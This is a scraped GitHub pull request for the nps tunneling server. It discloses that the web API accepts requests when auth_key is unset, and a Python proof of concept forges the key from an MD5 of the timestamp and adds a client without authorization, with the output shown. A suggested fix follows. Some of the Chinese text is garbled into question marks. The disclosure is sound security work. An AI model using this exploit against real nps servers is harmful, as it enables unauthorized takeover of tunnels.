fix: unauthorized access due to 'web api' enabled by defalut #1091

zgbsm · 2022-08-06T06:31:51Z

据?nps有一?未授???漏洞0day，?才?了一下??漏洞是存在的。

在配置文件auth_key被注?的情?下，依然可以通?web api?行管理，poc如下：

import
 time

import
 hashlib

import
 requests


md5
 =
 hashlib
.
md5
()
now
 =
 time
.
time
()
md5
.
update
(
str
(
int
(
now
)).
encode
())
key
 =
 md5
.
hexdigest
()
print
(
"get client list:"
)
post_data
 =
 {
"auth_key"
: 
key
, 
"timestamp"
: 
str
(
int
(
now
)), 
"offset"
: 
0
, 
"limit"
: 
10
, 
"order"
: 
"asc"
}
resp
 =
 requests
.
post
(
"http://127.0.0.1:8080/client/list"
, 
post_data
)
print
(
resp
.
text
)
print
()
post_data
 =
 {
"auth_key"
: 
key
, 
"timestamp"
: 
str
(
int
(
now
)), 
"remark"
: 
"1"
, 
"u"
: 
"1"
, 
"p"
: 
"1"
, 
"vkey"
: 
"1"
,
             
"config_conn_allow"
: 
"1"
, 
"compress"
: 
"0"
, 
"crypt"
: 
"0"
}
print
(
"add client:"
)
resp
 =
 requests
.
post
(
"http://127.0.0.1:8080/client/add"
, 
post_data
)
print
(
resp
.
text
)
print
()
print
(
"get client list:"
)
post_data
 =
 {
"auth_key"
: 
key
, 
"timestamp"
: 
str
(
int
(
now
)), 
"offset"
: 
0
, 
"limit"
: 
10
, 
"order"
: 
"asc"
}
resp
 =
 requests
.
post
(
"http://127.0.0.1:8080/client/list"
, 
post_data
)
print
(
resp
.
text
)

?行?果：

sh-3.2# python3 poc.py 
get client list:
{
  "bridgePort": 8024,
  "bridgeType": "tcp",
  "ip": "127.0.0.1",
  "rows": [],
  "total": 0
}

add client:
{
  "msg": "add success",
  "status": 1
}

get client list:
{
  "bridgePort": 8024,
  "bridgeType": "tcp",
  "ip": "127.0.0.1",
  "rows": [
    {
      "Cnf": {
        "U": "1",
        "P": "1",
        "Compress": false,
        "Crypt": false
      },
      "Id": 6,
      "VerifyKey": "1",
      "Addr": "",
      "Remark": "1",
      "Status": true,
      "IsConnect": false,
      "RateLimit": 0,
      "Flow": {
        "ExportFlow": 0,
        "InletFlow": 0,
        "FlowLimit": 0
      },
      "Rate": {
        "NowRate": 0
      },
      "NoStore": false,
      "NoDisplay": false,
      "MaxConn": 0,
      "NowConn": 0,
      "WebUserName": "",
      "WebPassword": "",
      "ConfigConnAllow": true,
      "MaxTunnelNum": 0,
      "Version": ""
    }
  ],
  "total": 1
}
sh-3.2#

修?建?：可以在base.go的Prepare函?里加?判?，如果configKey是空，就生成?机字符串??。

ehang-io#1091

@zgbsm

- ehang-io#1091 @zgbsm

fix: unauthorized access due to 'web api' enabled by defalut

66648d9

Jireh012 added a commit to Jireh012/nps that referenced this pull request Aug 9, 2022

fix: unauthorized access due to 'web api' enabled by defalut

7e6d8ae

ehang-io#1091

wojiushixiaobai added a commit to wojiushixiaobai/nps that referenced this pull request Oct 24, 2023

fix: unauthorized access due to 'web api' enabled by defalut

f102527

- ehang-io#1091 @zgbsm

wojiushixiaobai mentioned this pull request Oct 24, 2023

fix: unauthorized access due to 'web api' enabled by defalut wojiushixiaobai/nps#2

Merged

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

fix: unauthorized access due to 'web api' enabled by defalut #1091

fix: unauthorized access due to 'web api' enabled by defalut #1091

zgbsm commented Aug 6, 2022

fix: unauthorized access due to 'web api' enabled by defalut #1091

Are you sure you want to change the base?

fix: unauthorized access due to 'web api' enabled by defalut #1091

Conversation

zgbsm commented Aug 6, 2022